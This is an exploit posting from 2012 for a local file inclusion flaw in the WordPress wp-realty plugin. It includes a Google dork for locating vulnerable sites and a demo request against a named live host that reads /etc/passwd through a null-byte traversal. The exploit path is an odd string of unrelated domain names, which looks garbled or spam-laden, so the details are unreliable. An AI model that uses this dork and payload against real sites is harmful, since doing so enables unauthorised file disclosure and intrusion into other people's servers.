Home / exploits WordPress WP-Realty Local File Inclusion
Posted on 03 December 2012
# Exploit Title: Wordpress wp-realty Plugin Local File Inclusion Vulnerability # # Google Dork: inurl:wp-content/plugins/wp-realty/listing_details/listing-1011596-land-135-west-perry-road-myrtle-beach-sc/linkbrander.com/lb/artlessonswithjamie.com/store/easy-arts-and-crafts/holiday-arts-and-crafts/nznettrader.com/category/realestate/house&land/walkingshadowcompany.org/hairbraiding.us/hair_braiding_video/search/6jd.com/mymedicalfuture.com/employer/news/2011/jun/02/offerhero.info/catalogsearch/result/index/poloniact.com/component/adsmanager/13-komputery-i-akcesoria/62o.com/antiques/dolls-bears/mtogdenraceseries.com/schedule/georgiarealestateagent.org/tag/real-estate-ephrata-washington-state/page/wc3.wowmod.us/templateloads.com/cart/privacy.php?language= # # Date: 2012-30-11 # Exploit Author: Ashiyane Digital Security Team # # Discovered by : Amirh03in # # Tested on: Linux # # Security Risk : MEdium # # Category: Web Application # =================================== =================================== # Location: http://site/wp-content/plugins/wp-realty/listing_details/listing-1011596-land-135-west-perry-road-myrtle-beach-sc/linkbrander.com/lb/artlessonswithjamie.com/store/easy-arts-and-crafts/holiday-arts-and-crafts/nznettrader.com/category/realestate/house&land/walkingshadowcompany.org/hairbraiding.us/hair_braiding_video/search/6jd.com/mymedicalfuture.com/employer/news/2011/jun/02/offerhero.info/catalogsearch/result/index/poloniact.com/component/adsmanager/13-komputery-i-akcesoria/62o.com/antiques/dolls-bears/mtogdenraceseries.com/schedule/georgiarealestateagent.org/tag/real-estate-ephrata-washington-state/page/wc3.wowmod.us/templateloads.com/cart/privacy.php?language=[Directory or file] # # Demo : http://avalonmm.tv/barris/wprdemo.com/wp-content/plugins/wp-realty/listing_details/listing-1011596-land-135-west-perry-road-myrtle-beach-sc/linkbrander.com/lb/artlessonswithjamie.com/store/easy-arts-and-crafts/holiday-arts-and-crafts/nznettrader.com/category/realestate/house&land/walkingshadowcompany.org/hairbraiding.us/hair_braiding_video/search/6jd.com/mymedicalfuture.com/employer/news/2011/jun/02/offerhero.info/catalogsearch/result/index/poloniact.com/component/adsmanager/13-komputery-i-akcesoria/62o.com/antiques/dolls-bears/mtogdenraceseries.com/schedule/georgiarealestateagent.org/tag/real-estate-ephrata-washington-state/page/wc3.wowmod.us/templateloads.com/cart/privacy.php?language=/etc/passwd%00 # ======================================= ======================================= Greetz to: My Lord ALLAH =======================================
